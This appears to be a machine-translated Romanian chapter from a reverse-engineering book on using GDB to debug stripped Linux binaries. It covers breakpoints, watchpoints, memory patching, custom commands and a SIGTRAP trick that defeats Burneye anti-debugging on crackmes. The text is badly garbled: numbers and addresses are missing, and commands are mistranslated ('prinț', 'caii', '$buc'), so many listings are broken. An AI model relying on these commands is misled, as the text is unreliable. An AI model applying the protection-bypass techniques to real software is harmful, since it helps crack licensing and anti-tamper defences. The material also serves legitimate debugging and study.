II-a Tehnici de bază de hacking Notă Spre deosebire de SoftICE, Turbo Debugger, OllyDbg și alte programe de depanare Windows, în GDB programul nu este gata să ruleze după încărcare Nu are un context de registru și, prin urmare, comenzile de urmărire nu sunt disponibile pentru noi funcții de bibliotecă), vizualizare/modificare memorie, dezasamblarea codului etc De obicei, primul lucru sensibil de făcut după încărcarea unui program în depanator este să setați un punct de întrerupere pe funcția principală (funcția principală a limbajului C) sau funcția start, punctul de intrare al programului Acest lucru se face cu comanda tb address/name, care setează un punct de întrerupere „o singură dată”, după care puteți porni în siguranță programul cu comanda type (sau r) Depanatorul va „pop” la punctul de întrerupere Procedura de setare a unui punct de întrerupere pe funcția principală este prezentată în Lista : Lista Setarea unui punct de întrerupere pentru funcția principală #GDB -q GDB-demo (GDB) tb principal Punct de întrerupere la x (GDB)r Program de pornire: /home/kpnc/GDB/GDB-demo x în principal() Încărcarea fișierelor executabile fără informații despre simbol Dacă informațiile despre simbol lipsesc (de exemplu, au fost eliminate de utilitarul strip, așa cum se întâmplă adesea), atunci setarea punctelor de întrerupere la start/main devine imposibilă și trebuie să spunem depanatorului adresa „fizică” a punctului de intrare Puteți obține adresa fizică a punctului de intrare, de exemplu, folosind utilitarul objdump, lansat cu comutatorul -f (Listarea ) Lista Procedura de încărcare în depanator a unui program cu caracter tăiat #stnp GDB-demo #objdump -f gdb-demo GDB-demo: O : , EXEC P, HAS SYMS, D PAGED arhitectură: , steaguri x : EXEC P, HAS SYMS, D PAGED Adresa de pornire x # gdb -q gdb-demo (nu s-au găsit simboluri de depanare) (GDB) b principal Funcția „principală” nu este definită Faceți un punct de întrerupere în așteptare la încărcarea viitoare a bibliotecii partajate? (y sau [n]) n # l O încercare de a seta un punct de întrerupere pe funcția principală a eșuat # deoarece informațiile despre caractere nu sunt disponibile # Depanatorul a sugerat setarea unui punct de întrerupere după aceea, # când informațiile despre caractere sunt disponibile; # cu toate acestea, această propunere a fost respinsă deoarece # informații de depanare nu vor fi niciodată disponibile (GDB) tb * x Punct de întrerupere la x Secțiunea Caracteristici de depanare în UNIX și Linux # l Setarea unui punct de întrerupere a adresei fizice a reușit (gdb) g Program de pornire: /home/kpnc/GDB/GDB-demo (nu s-au găsit simboluri de depanare) x în ?? () Conectarea la un proces care rulează deja Dacă procesul care urmează să fie depanat rulează deja, vă puteți conecta la el fie specificând id-ul său împreună cu comutatorul -pid de pe linia de comandă, fie utilizând comanda attach id direct din depanator Vă puteți detașa dintr-un proces cu comanda detach (rulată fără argumente) sau ieșind din depanator cu comanda quit (sau q) După detașare, procesul își continuă activitatea în modul normal și, dacă trebuie să fie terminat, comanda kill vine în ajutor Procedura de conectare la un proces care rulează folosind linia de comandă este prezentată în Listarea #ps -a PID TTY TIME CMD puncte/ : : GDB demo puncte/ : : ps # gdb -q -pid Se atașează la procesul Citirea simbolurilor din /home/kpnc/GDB/GDB demo terminat Citirea simbolurilor din /lib/libc so terminat Citirea simbolurilor din /lib/ld-linux so terminat x f ab în read() din /lib/libc so (GDB) Procedura de atașare la un proces care rulează direct din depanator folosind comanda atașare este prezentată în Lista - ^Listing Atașarea unui proces de depanare edge cu comanda attach #GDB -q (GDB) atașați Se atașează la procesul Citirea simbolurilor din /home/kpnc/GDB/GDB demo terminat Citirea simbolurilor din /lib/libc so terminat Citirea simbolurilor din /lib/ld-linux so terminat x f ab în read() din /lib/libc so (GDB) Se încarcă programe cu anteturi corupte Dacă antetul unui fișier ELF este alterat în mod deliberat (cum a fost cazul descris în Capitolul ), atunci GDB va refuza categoric să îl încarce Un exemplu de astfel de fișier poate fi găsit aici: http://www crackmes de/users/yanisto/tiny crackme/ Cum să ieși din această situație? Să trecem în buclă fișierul ELF la punctul de intrare, să începem să-l executăm și să ne conectăm la proces cu comanda atașare (sau din linia de comandă: identificator gdb -pid) După ce apare depanatorul, puteți restaura octeții inițiali și puteți începe urmărirea în mod normal Să arătăm cum să o punem în practică Partea a II-a Tehnici de bază de hacking Orez Realizarea în buclă a unui program cu HIEW Încărcăm fișierul tiny-crackme în orice editor hex (de exemplu, în NTE sau HIEW), mergem la punctul de intrare În HIEW acest lucru se face apăsând (pentru a comuta în modul hex), [header], [entry] Reținem (scriem pe hârtie) conținutul celor doi octeți sub cursor (în cazul nostru sunt egali cu B h Ah) și îi înlocuim cu EBh FEh, care corespunde instrucțiunii jwnps $ (Fig ) Salvăm modificările, rulăm fișierul, stabilim PID-ul acestuia, conectăm depanatorul la proces De data aceasta, deși GDB înjură formatul greșit, se conectează în continuare la proces, oferindu-ne libertate deplină de acțiune Dar înainte de a începe urmărirea, trebuie să restaurați fișierul la starea inițială Modificarea memoriei (registri și variabile) se face prin comanda set, care în acest caz este numită așa cum se arată în lista ; octeți originali * • /tiny-crackme # Rulați un fișier crackme mic și săriți la consola adiacentă # pS -a PID TTY puncte/ puncte/ TIME : : : : CMD tiny-crackme PS # GDB -q (GDB) atașează Se atașează procesului „/home/kpnc/GDB/tiny-crackme”: nu este în format executabil: Formatul de fișier nu este recunoscut # L GDB raportează un format de fișier incorect; # cu toate acestea, nu refuză să se atașeze la proces (GDB) set *(unsigned char*)$pc = OxVZ (GDB) set *(unsigned char*)($pc+l) = x A # L Restabiliți fișierul la starea inițială folosind comanda set Aici, $pc (sensibil la majuscule minuscule) este o prescurtare pentru registrul de numărare a programului, iar * (unsigned char*) este o conversie explicită de tip, fără de care GDB nu va putea determina niciodată dimensiunea celulei care este scrisă Un design destul de lung, așa că dorința de a-l scurta va fi destul de naturală Depanatorul își amintește istoricul comenzilor și, pentru a nu introduce o comandă deja introdusă, apăsați tasta și editați linia În cazul luat în considerare, înlocuiți $pc = OxB cu ($pc+ ) = x A Deja mai scurt! Dar este încă lung Capitolul Funcții de depanare în UNIX și Linux Notă În mod implicit, GDB nu salvează istoricul comenzilor și este valabil doar pentru o sesiune Pentru a activa salvarea automată, trebuie să introduceți opțiunea de salvare a istoricului setării comenzilor Pentru a evita acest lucru de fiecare dată când porniți GDB, puteți pune această secvență în Fișierul GDBinit situat în directorul /home sau în directorul curent Aici este necesar să subliniem unul dintre principalele avantaje ale GDB față de SoftICE Depanatorul GDB are extensibilitate nelimitată și acceptă un interpret avansat care vă permite, printre altele, să vă declarați variabilele începând cu semnul $ Ulterior, aceste variabile pot fi manipulate la propria discreție O versiune îmbunătățită a procedurii este prezentată în Listarea Lista Restaurarea conținutului original al celulelor de memorie modificate folosind variabila $i (GDB)set $i = $buc (GDB)set *(caracter nesemnat*)$i++ = xB (GDB)set *(caracter nesemnat*)$i++ = x A Aici, după ce introducem setul de comenzi * (unsigned char*)$i++ = Oxv, apăsăm tasta și doar schimbăm Oxv la x a (variabila $i este incrementată automat) Această metodă este mult mai scurtă, dar, cu toate acestea, există încă rezerve Să declarăm propria noastră comandă personalizată! Acest lucru se face cu comanda deține și, în cazul nostru, arată ca Listarea Lista Declararea unei comenzi personalizate (dd) pentru a scrie octeți la valoarea specificată (GDB) definiți dd tastați comanda pentru definiția „dd” se încheie cu o linie care spune doar „termină” >set *(caracter nesemnat*) $argO = $argl > sfârşitul Observați cum GDB a schimbat tipul promptului (>) când a început definiția comenzii! Când ați terminat de tastat, lansați comanda de terminare, iar noua comandă este adăugată în memoria GDB împreună cu toate celelalte Este nevoie de două argumente: - $argO este adresa țintă și $argi este octetul care trebuie scris Acum, pentru a restabili octeții la punctul de intrare, este suficient să lansați secvența de comenzi afișată în Listarea Notă Dacă introduceți comanda dd $pc++ OxVZ, atunci după ce comanda este executată, registrul $pc va crește cu unul, ceea ce nu este inclus în planurile noastre Lista Restaurarea conținutului original al celulelor de memorie folosind o comandă de utilizator (GDB)set $i = $buc (GDB)dd $i++ OxV (GDB)dd $i++ x A Comenzile utilizatorului există doar pe durata sesiunii curente și sunt distruse atunci când GDB iese Acest lucru este rău, dar poate fi remediat prin introducerea lor în fișierul batch prezentat în lista - Partea a II-a Tehnici de bază de hacking Lista L Fișier de comandă care conține definiția comenzii utilizator dd bine dd set *(unsigned char*)$argO = Sargl Sfârşit Încărcarea unui fișier batch în memorie se face cu comanda nume fișier sursă (de exemplu, sursă n k cmd) Cu toate acestea, deoarece GDB acceptă completarea automată (care este comună pentru aproape toate programele UNIX), nu este necesar să introduceți numele complet al comenzii sursă în întregime Doar tastați așa și apăsați Depanatorul va adăuga restul de unul singur Dacă există mai multe comenzi care încep cu așa, atunci în loc de completare automată, se va auzi un scârțâit urât, semnalând ambiguitatea Apăsarea din nou pe duce la afișarea tuturor opțiunilor posibile Prin crearea propriilor comenzi (încărcate dintr-un fișier GDBinit sau manual), nu numai că vă oferiți un mediu de lucru confortabil, dar vă creșteți și productivitatea! Astfel, cei care se plâng de inconvenientul GDB pur și simplu nu știu cum să-l configureze corect Să începem să urmărim Spre deosebire de SoftICE (și chiar de debug com!), GDB nu urmărește mnemonicii de instrucțiuni ale mașinii decât dacă i se cere Acest lucru este foarte confuz pentru începători, dar mult mai corect din punct de vedere ideologic Puteți mapa o instrucțiune de mașină la o adresă arbitrară folosind comanda x/i address, așa cum se arată în Listarea (GDB)x/i x x : jmp x În loc de o adresă, puteți utiliza orice altă expresie, variabilă sau registru (dacă sunt disponibile registre) Cu toate acestea, depanarea unui program în acest mod este extrem de incomod Prin urmare, este mult mai bine să utilizați modul de afișare automat setat de comanda de afișare Modul de afișare automată vă permite să afișați valoarea oricărei expresii, registru, locație de memorie, instrucțiuni ale mașinii de fiecare dată când GDB se oprește (de exemplu, la pas) Comanda display/ $pc (care este suficientă pentru a da o dată pe sesiune) va afișa instrucțiunile mașinii pe rând Acest lucru nu este foarte convenabil și, în practică, este întotdeauna nevoie de a afla ce instrucțiune va urma pe cea executată Scriptul din Lista - tipărește trei instrucțiuni simultan: afișare/ i $buc = Lista Afișare automată a instrucțiunilor ( instrucțiuni o dată), urmărire AT&T - (GDB) display/Zi $rs : x/ i $buc x : mișcare $ x a, %s x a: jmp x x f: adăugați %al,(%edx) (GDB)ni x a în ?? () : x/ i $buc x a: jnp x x f: adăugați %al,(%edx) x : adăugați %al,(%ebx) (GDB)ni Secțiunea Caracteristici de depanare în UNIX și Linux x ip ?? () : X/ $rs x : jmp x x : mov $ xe ,%al x : movsl %ds:(%esi),%es:(%edi) Pentru a afișa automat valorile registrelor, este suficient să lansați registrul de afișare a comenzii, unde registrul este $eax, $ebx, $esx etc Există un nume special pentru indicatorul de registru către poziția curentă a stivei - $sp, care poate fi folosit împreună cu $esp (la fel ca $pc $eip) Se poate crea orice număr de afișaje automate și oricare dintre ele poate fi întotdeauna eliminat cu comanda undisplay ni n np, unde nx este numărul afișajului, care poate fi găsit cu comanda info display Comanda dezactivare afișare nl n n ajută la dezactivarea temporară a afișajului, iar comanda de activare a afișajului reactivează afișajul dezactivat Comutarea între modurile de dezasamblare AT&T și Intel În mod implicit, GDB utilizează sintaxa AT&T, dar poate scoate și instrucțiuni în format Intel Pentru a trece la formatul Intel, trebuie doar să lansați comanda set dezassembly-flavor intel, iar pentru a reveni la formatul AT&T, trebuie doar să lansați comanda set disassembly-flavor att Luați în considerare exemplul prezentat în Lista (GDB) set dezmembrare-aromă intel (GDB) afișaj/ $buc :x/ $buc x : mov bl, x a x a: jmp x x f: adăugați BYTE PTR [edx], al (GDB)ni x a în ?? () :x/ $buc x a: jmp x x f: adăugați BYTE PTR [edx], al x : adăugați BYTE PTR [ebx], al (GDB) x în ?? () :x/ $buc x : jmp x x : mov al, xe x : movs es:[edi],ds:[esi] Redirecționare I/O În mod implicit, GDB leagă consola curentă la intrarea/ieșirea standard a programului care este depanat, provocând amestecarea mesajelor programului cu mesajele de depanare Pentru a pune lucrurile în ordine, trebuie să redirecționați intrarea și ieșirea programului către o consolă separată, care se face cu comanda tty console Deschideți o nouă consolă, dați comanda UNIX tty pentru a determina numele acesteia (de exemplu, /dev/ps/b), reveniți la consola de depanare și lansați comanda tty /dev/ps/b Ieșire de expresie Pentru a afișa o expresie, utilizați comanda prinț (sau p) urmată de expresia dorită (Listing - ) Partea a II-a Tehnici de bază de hacking Lista Demonstrarea capacităților comenzii prinț (gdb)p * $ = (gdb) p $ + dolari = (gdb) p $sp $ = (void *) xbffffb # Afișează valoarea $sp (GDB) p/x * (mt nesemnat*) $sp $ = x # Ieșiți celula indicată de $sp în hexazecimal (GDB) p/u * (mt nesemnat*) $sp USD = # Tipăriți celula indicată de $sp în format zecimal fără semn (gdb) p * xbffffB F USD = # Ieșiți conținutul celulei în format zecimal (implicit) (GDB) p/x * xbffffB F USD = x # Afișează conținutul celulei în format hexazecimal După cum puteți vedea, de fiecare dată când se imprimă o valoare, comanda prinț creează o variabilă care poate fi folosită în expresiile ulterioare, ceea ce este foarte convenabil În plus, funcția prințf este disponibilă cu un set standard de specificatori, care este util în special în fișierele batch De exemplu: „printf „%x %x %x\n”, $eax, $ebx, $ebx” tipărește valorile a trei registre simultan Rețineți absența parantezelor! Scufundați-vă în tehnica și filosofia GDB Să continuăm scufundarea în tehnica și filosofia GDB, explorând capacitățile sale din punctul de vedere al unui hacker care depanează fișierele binare fără cod sursă În această secțiune, vom analiza tehnicile de modificare a fluxului de execuție a programului, punctele de întrerupere și punctele de urmărire, mecanismele de urmărire și gestionarea memoriei - în general, tot ceea ce îi face pe crackeri fericiți Modificarea fluxului de execuție Programul încărcat de comanda fișierului (sau specificat pe linia de comandă) este într-o stare amorfă și este doar o colecție de octeți scriși în regiunea alocată a spațiului de adrese Un nou proces nu a fost încă creat pentru acesta și nu poate fi urmărit În orice caz, urmărirea nu este posibilă până când nu dăm comanda run (sau r), care este de obicei precedată de setarea unui punct de întrerupere pe funcția principală sau start Odată rulat, programul va rula până când atinge un punct de întrerupere sau primește un semnal fără oprire (vezi „Manipularea semnalului” mai târziu în acest capitol) Aplicarea comenzii de rulare unui program care rulează deja îl va reporni (în configurația implicită, depanatorul solicită confirmarea) Pentru a continua un program oprit de un punct de întrerupere sau de un semnal, puteți utiliza comanda continue (prescurtare de la c), care acționează în același mod ca rulare (adică, rulează până la punctul de întrerupere sau semnal) Pentru a transfera controlul la o adresă arbitrară, trebuie să executați un salt (o) urmat de o adresă, un nume de funcție sau un registru În special, comanda j * $ pc în acțiunea sa Capitolul Funcții de depanare în UNIX și Linux este similară cu comanda continue, comanda j foo transferă controlul către eticheta/funcția foo (dacă este prezentă în tabelul cu simboluri), iar comanda o * x aa sare la adresa AAh Dacă aceleași adrese sunt utilizate de mai multe ori, acestea pot fi setate la o variabilă utilizator cu comanda set $my foo= x AA și apoi utilizate ca parametru pentru comanda shpr - j *$my foo Apropo, vă rugăm să rețineți că depanatorul SoftICE nu oferă astfel de caracteristici Comanda până (u) continuă execuția programului până la adresa specificată (de exemplu, u * x ed), moment în care se oprește și transferă controlul către depanator La fel ca jump, comanda până acceptă nu numai etichete și adrese, ci și variabile, ceea ce simplifică foarte mult hacking-ul Când este folosit fără argumente, până este la fel cu nexti, în acest caz, sare la următoarea instrucțiune de mașină, sărind peste funcții și bucle Luați în considerare codul afișat în Lista Lista Fragment de buclă” care demonstrează esența comenzii până text: EB b text: ED jmp text: EF scurt loc EF scurt loc eax, [ebp + var ] ; -> pentru a ieși din buclă ,- -> la începutul corpului buclei ; Prima instrucțiune după sfârșitul buclei Dacă dați comanda până pe linia EBh (care este echivalentă cu u * x ef), atunci comanda execută o buclă și transferă controlul către depanator numai la ieșirea din această buclă Foarte confortabil! Dacă trebuie să așteptăm ieșirea din funcție, oprindu-ne automat când întâlnim ret, comanda finish este furnizată pentru acest caz, similară cu comanda SoftICE debugger p ret În loc să parcurgă programul, GDB parcurge cadrul funcției anterioare (ceea ce se poate face cu comanda backtrace sau bt) și setează un punct de întrerupere la adresa de retur, ceea ce asigură o eficiență maximă de execuție Cu toate acestea, dacă depanatorul nu reușește să desfacă stiva și să restabilească lanțul de cadre, atunci comanda finish eșuează Comanda return, spre deosebire de finish, determină o întoarcere timpurie la funcția părinte fără a executa restul funcției apelate SoftICE nu oferă o astfel de oportunitate, ceea ce este păcat! Comanda return este foarte utilă și adesea necesară Nici SoftICE nu știe să apeleze funcții, dar GDB o face ușor cu comanda caii urmată de un nume/variabilă/registru sau adresă funcției Argumentele (dacă există) sunt trecute între paranteze conform convenției C, adică sunt împinse pe stivă de la dreapta la stânga Scoaterea argumentelor din stivă se face prin aceeași comandă caii De exemplu: caii foo( , , ) SAU caii x ( , , ) Puteți chiar să executați o comandă shell fără a ieși din depanator, dacă doriți Acest lucru se face astfel: shell ls sau shell man open Pur și simplu fantastic de confortabil! Cu toate acestea, un rezultat similar poate fi obținut prin deschiderea unei console suplimentare Deoarece GDB este un depanator la nivel de aplicație, spre deosebire de SoftICE, nu îngheață sistemul, permițând multitasking natural fără perversiune shell trasarea Există doar două comenzi asociate cu trasarea: stepi n (si p) execută următoarele n instrucțiuni cu bucle și funcții și nexti n (ni p) fără a intra Când rulați fără argumente, este executată o singură instrucțiune Apăsarea repetă automat ultima comandă (stepi sau nexti), ceea ce accelerează foarte mult urmărirea (apropo, apăsarea tastei este mult mai convenabilă decât oricare dintre tastele funcționale utilizate pentru urmărirea de către depanatorii Windows) Partea a II-a Tehnici de bază de hacking Notă Pasul n/următoarele n comenzi menționate în documentația GDB sunt orientate către sursă și execută n linii, iar în absența informațiilor simbolice, urmăresc programul până când acesta se termină, ceea ce nu este bine Un exemplu de sesiune de urmărire este prezentat în fig Orez Exemplu de sesiune de urmărire Puncte de întrerupere Depanatorul GDB acceptă două tipuri de puncte de întrerupere: punctele de întrerupere reale (punctele de întrerupere), care se întrerup la executarea codului și punctele de observare, care se întrerup la accesul la date Notă Pe lângă punctele de întrerupere și punctele de urmărire, GDB acceptă puncte de excepție , dar acestea sunt practic inutile pentru depanarea programelor fără cod sursă Punctele de întrerupere pot fi fie software, fie hardware Un punct de întrerupere a execuției software pe platforma x este o instrucțiune cch pe un singur octet (ut h), iar punctele de supraveghere software sunt implementate prin parcurgerea programului, urmărirea apelurilor către celula care vă interesează Trebuie remarcat aici că, în primul rând, acest lucru este extrem de neproductiv și, în al doilea rând, unele programe pur și simplu nu permit Un punct de captură este un alt punct de întrerupere specializat care vă oprește programul atunci când are loc un eveniment de un anumit tip, cum ar fi aruncarea unei excepții în limbaje de nivel înalt cu gestionarea excepțiilor (cum ar fi GNU C++) sau încărcarea unei biblioteci Secțiunea Caracteristici de depanare în UNIX și Linux urmăriți-vă Există doar patru puncte de întrerupere hardware pe platforma x , dar puteți seta câte puncte de întrerupere software doriți Un punct de întrerupere a execuției programului este stabilit de comanda break (b) urmată de un nume/adresă/registru sau variabilă funcției De exemplu: b principal, b * x vs Comanda tbreak (tb) setează un punct de întrerupere unic, care este șters automat când se declanșează Un punct de întrerupere hardware este setat de comanda hbreak (hb), iar un punct de întrerupere hardware temporar este setat de către thbreak (thb) După setarea unui punct de întrerupere hardware, depanatorul afișează mesajul Punct de întrerupere asistat hardware N la adresa (Figura ) Totuși, acest lucru nu înseamnă că operațiunea a fost finalizată cu succes Pentru a verifica, puteți seta cel puțin o mie de puncte de întrerupere hardware și totul va fi OK, dar numai când porniți programul cu comenzile de rulare sau de continuare, depanatorul poate raporta: Avertisment: Nu se poate introduce punctul de întrerupere hardware W (vezi Fig ) ) Orez Setarea efectivă a punctelor de întrerupere are loc numai la începutul execuției programului Punctele de urmărire hardware pentru scrierea unei celule sunt setate de comanda watch (wa), comenzile rwatch (rw) și awatch (aw) stabilesc punctele de supraveghere pentru citire și, respectiv, citire/scriere Iată un exemplu tipic de setare a unui punct de supraveghere hardware: rw * xBFFFFA Rețineți că comanda rw *$esp nu mai funcționează, iar depanatorul raportează Attenpt la dereference mai degrabă decât pointerul generic Ca și în cazul punctelor de întrerupere la execuție, mesajul Hardware read watchpoint N: adresa nu înseamnă absolut nimic, iar când încercați să porniți/continuați execuția programului, depanatorul poate afișa mesajul: Could not insert hardware watchpoint N Toate punctele de supraveghere/de întrerupere pot fi condiționate, adică se declanșează numai dacă valoarea expresiei după dacă este adevărată De exemplu: b dacă $eax== sau rw * xBFFFFA dacă (*((unsigned int*)$esp)!= x ) La setarea oricărui punct de ceas/breakpoint, depanatorul îi atribuie un număr (Listing ), care, în primul rând, este evidențiat atunci când este declanșat și, în al doilea rând, poate fi utilizat Partea a II-a Tehnici de bază de hacking în comenzi pentru a controla punctele de ceas/break Numărul ultimului punct de întrerupere a accesului este introdus automat în variabila $bpnum Lista Când setați un punct de ceas/de întrerupere, depanatorul îi atribuie automat propriul număr (în acest caz egal cu unul) (GDB) hb principal Punct de întrerupere asistat de hardware la x ef (GDB)r Program de pornire: /home/kpnc/GDB/GDB demo Punct de întrerupere , x ef în main() Comanda ignore nx setează punctul de urmărire/punctul de întrerupere ignore count n, sărind peste primele x accesări, ceea ce este util în special în bucle Dacă o secvență de operații trebuie efectuată atunci când este declanșat un punct de întrerupere/punct de supraveghere, puteți utiliza comanda comenzi n, unde n este numărul de supraveghere/punct de întrerupere Un exemplu de utilizare a acestei comenzi este prezentat în Listarea În exemplul de mai sus, când este declanșat punctul numărul , va fi afișat salutul, lume " Lista Izolemie automată comenzi printf „bună ziua, lumeXn” se termină Comanda info break (і ь sau info watchpoints) vă va ajuta să obțineți informații despre punctele de întrerupere Când rulează fără argumente, această comandă va imprima starea tuturor punctelor de supraveghere/breakpoint Dacă trebuie să verificați un anumit ceas/punct de întrerupere, trebuie doar să specificați numărul acestuia De exemplu, Lista arată un exemplu de afișare a informațiilor despre punctul de supraveghere numărul Lista Vizualizarea informațiilor punctului de supraveghere (GDB) b Num Tip Disp Enb Adresă citire watchpoint ține la opriți numai dacă $eax == (GDB) Ce * Comanda clear (cunoscută și sub numele de ștergere) este folosită pentru a elimina punctele de monitorizare/breakpoint Când rulează fără argumente, această comandă elimină toate punctele (și depanatorul solicită confirmarea) Dacă doriți să ștergeți doar un anumit punct, trebuie doar să specificați numărul acestuia, de exemplu: ștergeți În plus, GDB vă permite să ștergeți o întreagă gamă de puncte de întrerupere / puncte de urmărire De exemplu, comanda delete - șterge punctele de urmărire de la primul până la al șaselea inclusiv Notă Când ștergeți un interval de pauză/vizionare, GDB nu cere nicio confirmare, așa că fiți atenți” Comenzile de activare și dezactivare sunt folosite pentru a activa/dezactiva temporar punctele de urmărire/punctele de întrerupere și au aceeași sintaxă ca și comanda de ștergere Secțiunea Caracteristici de depanare în UNIX și Linux Lucrul cu memorie și registre O groază de memorie pentru hackeri este sacră Nici un singur hack nu se poate descurca fără el Există multe moduri de a vizualiza/modifica memoria De exemplu, acest lucru se poate face cu comanda pnnt/pnntf (Listarea - ) Lista Citirea și modificarea memoriei cu comanda p (prinț) (gdb) p $esp # afișează conținutul registrului esp $ = (void *) xbffffa (GDB) p (char) $esp # ieșire octet scăzut al registrului esp USD = 'R* (gdb) p * x ef # scoateți conținutul cuvântului dublu către # format semn zecimal USD = - (gdb) p/x * x ef # scoateți conținutul cuvântului dublu către # format hex $ = xb f e (GDB) p/u * x ef # scoateți conținutul cuvântului dublu către # zecimal fortate fără semn USD = (GDB) p $esp = # setați esp la USD - (nulat *) x (gdb) p/x *((char*) x )= x # atribuiți valoarea h octetului prin $ = x # adresa h Cu toate acestea, atunci când vizualizați un număr mare de celule de memorie, este mai avantajos să utilizați comanda specială x, care vă permite să setați lungimea blocului de memorie afișat Un exemplu de utilizare a acestei comenzi este prezentat în Listarea Lista Afișarea unui dump de program folosind comanda x (GDB) x/ x $buc # vizualizare dwords ; în formă hexagonală, începând de la $buc x ef : xb f e x x c c x x ff : xffbfe x dffff x xfffeb e x f : x c c ff x x x x f : xe xf x cec OxOOOOaOeS (GDB) x/ xb $buc # vizualizați octeți de cuvinte hexadecimale începând cu $buc x ef : x xe OxfO xb x x x x x f : x xc xc x x x x x Hackerii care încep cu GDB ar putea fi în regulă cu această formă de informații, dar utilizatorii SoftICE vor găsi că este prea risipitoare Ar fi frumos să obțineți o groapă hexagonală clasică Și chiar se poate! Este suficient să creați o implementare a unei comenzi personalizate (să o numim ddd) care afișează un dump folosind funcția prințf Spre deosebire de SoftICE, depanatorul GDB este extensibil la infinit Prin urmare, dacă ceva nu ne obosește, este aproape întotdeauna posibil să-l refaceți după bunul plac Codul sursă pentru comanda ddd este prezentat în Lista ; Lista Cod sursă pentru descărcarea comenzii ddd personalizate în stil SoftICE și Turbo Debugger defini ddd set $ddd p = printf "% Xh:",$arg Partea a II-a Tehnici de bază de hacking în timp ce $ddd p++ (în GDB) aceasta corespunde cu repetarea ultimelor comenzi) - următorii ore octeți etc În acest caz, argumentul transmis comenzii este folosit pentru a stoca ultima adresă mapată Apelarea ddd $esp va face ca $esp să fie incrementat cu ore, blocând programul Desigur, dacă doriți, puteți rescrie comanda ddd astfel încât să nu aibă efecte secundare și să afișeze nu h octeți de memorie, ci exact cât vor fi indicați Procesare semnal Un semnal este un eveniment asincron care are loc într-un program și amintește oarecum de excepțiile structurale din Windows Semnalele sunt împărțite în fatale și non-fatale Un exemplu de semnal non-fatal este sigalrm, care este ridicat la expirarea temporizatorului de interval Dar atunci când are loc o încălcare a accesului la memorie, este generat semnalul sigsegv, care încheie programul în modul de urgență (cu excepția cazului în care programatorul a furnizat un handler special) Depanatorul GDB interceptează toate semnalele În funcție de configurația sa, fie transmite un semnal către program, fie îl „absoarbe”, pretinzând că nu se întâmplă nimic interesant Puteți vizualiza configurația curentă GDB utilizând comanda info signals (alias info handle) Rezultatul vizualizării reacției depanatorului la semnale este prezentat în Fig Pentru a modifica comportamentul GDB, utilizați comportamentul semnalului de mâner de comandă, unde semnal este numele semnalului (de exemplu, sigsegv), iar comportamentul este reacția depanatorului la apariția semnalului Următoarele cuvinte cheie sunt folosite pentru a descrie răspunsul depanatorului la semnale: □ Nostop - Când acest semnal este primit, GDB nu oprește programul, dar poate afișa un mesaj despre acesta pe ecran □ stop - Când acest semnal este primit, GDB oprește programul Acest cuvânt cheie implică și cuvântul cheie prinț □ Pnnt - Când acest semnal este primit, GDB afișează un mesaj despre acesta pe ecran □ Noprint - GDB nu raportează apariția acestui semnal Acest cuvânt cheie include și cuvântul cheie nostop □ Pass - GDB permite programului să vadă acest semnal Programul care este depanat poate gestiona acest semnal Dacă semnalul este fatal, programul poate opri execuția □ Nopass - GDB împiedică programul să vadă semnalul Secțiunea Caracteristici de depanare în UNIX și Linux Orez Vizualizarea modului în care depanatorul GDB reacționează la diferite semnale Unele semnale (de exemplu, semnalul sigtrap care apare atunci când este atins un punct de întrerupere a programului) sunt rezervate de depanator pentru uz propriu Această circumstanță este folosită de multe programe protejate care determină dacă sunt sau nu în curs de depanare Și-au configurat propriul handler sigtrap și apoi execută instrucțiunea int h Când este executat fără GDB, controlul este preluat de handler, în caz contrar semnalul este absorbit de depanator și controlul nu mai este transferat către handler În special, fișierele împachetate de Bumeye Protector conțin codul afișat în Lista x a : mov x ac: mov OxO bl: mov x b :mov x b : int x ba: adăugați x c :mov x c : int x c : cmpl x ce:jne $ x ,%bx $ x a c,%ecx $ x ,%edx %edx,%eax x USD $ x a ,%esi %esi,Oxfffffd (%ebp) x , x USD x e x a c: x a d: x a f: x al : x al : push mov inel leave ret %ebp %esp,%ebp x Partea a II-a Tehnici de bază de hacking Orez O încercare de a depana un program protejat de protectorul Burneye cu reacția standard la semnale (configurație implicită) se termină cu eșec complet Orez Transmiterea semnalului sigtrap către program induce în eroare apărarea și depanarea reușește Secțiunea Caracteristici de depanare în UNIX și Linux O încercare de a depana un astfel de program în modul normal duce la prăbușirea acestuia (Fig ), cu excepția cazului în care, desigur, în momentul excitării semnalului, conținutul celulei h nu este crescut cu unul Dar există o modalitate mult mai simplă și mai elegantă de a ocoli această protecție După ce așteptăm ca depanatorul să „jure” să prindă semnalul sigtrap, lansăm comanda handle sigtrap pass și transferăm controlul la comanda continue către program Și totul va funcționa ca un ceas (Fig )! Concluzie Așa că ne-am familiarizat cu principalele caracteristici ale puternicului depanator GDB Cu toate acestea, aceasta este doar o mică parte din ceea ce este capabil Orice altceva este cuprins în documentația standard și textele sursă (documentația, ca de obicei, conține multe omisiuni) Cu toate acestea, pentru majoritatea sarcinilor hackerilor, comenzile pe care le-am luat în considerare vor fi destul de suficiente În plus, o mulțime de informații utile pot fi adunate din următoarele surse: □ „Depanare cu GDB” (http://www linux org ru/books/GNU/GDB/GDB-ru pdf) — documentație bună GDB (în rusă) □ GDB Internals (http://gnuarm org/pdf/GDBint pdf) este un ghid excelent care descrie lumea internă a GDB (în engleză) Ajută foarte mult la revizuirea textelor sursă □ „Process Tracing Using Ptrace” (http://linuxgazette net/issue /sandeep html) - un articol despre urmărirea sub Linux, cu exemple ale celor mai simple trasoare (în engleză) Rețineți că lucrurile sunt diferite în FreeBSD □ „Squashing Bugs at the Source” (http://www linux-mag com/ - /code html) - un articol despre găsirea erorilor în primele etape ale analizei codului sursă (în engleză) articol, trebuie să vă înregistrați pe site (gratuit) □ „Manual Ctrace” (http://ctrace sourceforge net/manual htm) - Documentație detaliată despre utilizarea bibliotecii Ctrace (în engleză) □ Kernel- und UserSpace Debugging Techniken (http://www unfug org/files/debugging pdf) - Rezumate ale unui raport dedicat depanării și dezvăluirii detaliilor puțin cunoscute ale structurii GDB (în germană) □ Reverse engineering des systemes ELF/INTEL (http://www sstic org/SSTIC /articles/SSTIC -Vanegue Roy-Reverse Intel ELF pdf) - Examinarea și depanarea fișierelor ELF pe platforma І fără cod sursă (în franceză) Capitolul Caracteristici ale depanării fuziunii cu Unice Există puține depanatoare de kernel demne sub Windows, dar pe Linux pot fi numărate pe degetele unei mâini Și chiar și ei, în cea mai mare parte, sunt încă brute și neterminate, sau abandonate și nesuportate O excepție plăcută este doar una dintre ele - Linice, care este cea mai populară și interesantă După cum sugerează și numele, Linice este legendarul SoftICE, portat neoficial pe Linux Cu toate acestea, în realitate, acesta nu este cazul Linice 